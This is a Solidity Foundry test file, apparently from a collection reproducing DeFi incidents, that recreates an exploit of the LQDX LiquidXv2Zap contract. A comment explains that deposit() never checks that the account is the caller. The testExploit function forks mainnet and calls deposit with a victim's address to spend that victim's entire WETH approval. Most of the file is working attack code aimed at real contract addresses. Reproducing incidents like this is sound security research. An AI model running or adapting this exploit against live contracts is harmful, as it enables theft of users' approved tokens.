src/test/2024-01/LQDX_alert_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5 
6// @Info
7// LQDX LiquidXv2Zap Contract : https://etherscan.io/address/0x364f17a23ae4350319b7491224d10df5796190bc#codeL490
8 
9// @NewsTrack
10// SlowMist : https://twitter.com/SlowMist_Team/status/1744972012865671452
11 
12// Note: the problem lies in the `deposit` function where there is no check that the `account` should be `msg.sender`, thus `account`'s approval on the `zap` can be spent to buy tokens and add liquidity.
13 
14interface ILiquidXv2Zap {
15    struct swapRouter {
16        string platform;
17        address tokenIn;
18        address tokenOut;
19        uint256 amountOutMin;
20        uint256 meta; // fee, flag(stable), 0=v2
21        uint256 percent;
22    }
23 
24    struct swapLine {
25        swapRouter[] swaps;
26    }
27 
28    struct swapBlock {
29        swapLine[] lines;
30    }
31 
32    struct swapPath {
33        swapBlock[] path;
34    }
35 
36    function deposit(
37        address account,
38        address token,
39        address tokenM,
40        swapPath calldata path,
41        address token0,
42        address token1,
43        uint256[3] calldata amount,
44        uint256 basketId
45    ) external payable returns (uint256);
46}
47 
48interface IERC20 {
49    function balanceOf(
50        address account
51    ) external view returns (uint256);
52    function allowance(address owner, address spender) external view returns (uint256);
53    function approve(address spender, uint256 value) external returns (bool);
54}
55 
56interface ILiquidXv2Pair {
57    function token0() external view returns (address);
58    function token1() external view returns (address);
59    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
60}
61 
62contract Exploit is Test {
63    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
64    IERC20 LQDX = IERC20(0x872952d3c1Caf944852c5ADDa65633F1Ef218A26);
65    ILiquidXv2Zap zap = ILiquidXv2Zap(0x364f17A23AE4350319b7491224d10dF5796190bC);
66    ILiquidXv2Pair WETH_LQDX_pair = ILiquidXv2Pair(0x1884C3D0ac1A3ACF0698b2a19866cee4cE27c31A);
67 
68    address victim = address(0x1);
69    address attacker = address(0xbad);
70 
71    function setUp() public {
72        vm.createSelectFork("mainnet", 19_165_893);
73        vm.deal(victim, 1 ether);
74        vm.deal(attacker, 1 ether);
75        deal(address(WETH), victim, 10 ether); // the approved funds to be stolen
76        emit log_named_uint("victim WETH balance (ether) before attack", (WETH.balanceOf(victim)) / 1 ether);
77        vm.prank(victim);
78        WETH.approve(address(zap), 10 ether);
79        emit log_named_uint("victim approved on zap contract (ether)", (WETH.allowance(victim, address(zap))) / 1 ether);
80    }
81 
82    function testExploit() public {
83        vm.startPrank(attacker);
84        (uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();
85        emit log_named_uint("before attack, LQDX in the pool", lqdx_before / 1 ether);
86        emit log_named_uint("before attack, WETH in the pool", weth_before / 1 ether);
87 
88        // attack starts here
89        ILiquidXv2Zap.swapBlock[] memory path;
90        uint256[3] memory amounts = [WETH.allowance(victim, address(zap)), 0, 0];
91        zap.deposit(
92            victim,
93            address(WETH),
94            address(WETH),
95            ILiquidXv2Zap.swapPath({path: path}),
96            address(WETH),
97            address(LQDX),
98            amounts,
99            0
100        );
101 
102        (uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();
103        emit log_named_uint("after attack, LQDX in the pool", lqdx_after / 1 ether);
104        emit log_named_uint("after attack, WETH in the pool", weth_after / 1 ether);
105        emit log_named_uint("victim WETH balance (ether) after attack", (WETH.balanceOf(victim)) / 1 ether);
106    }
107}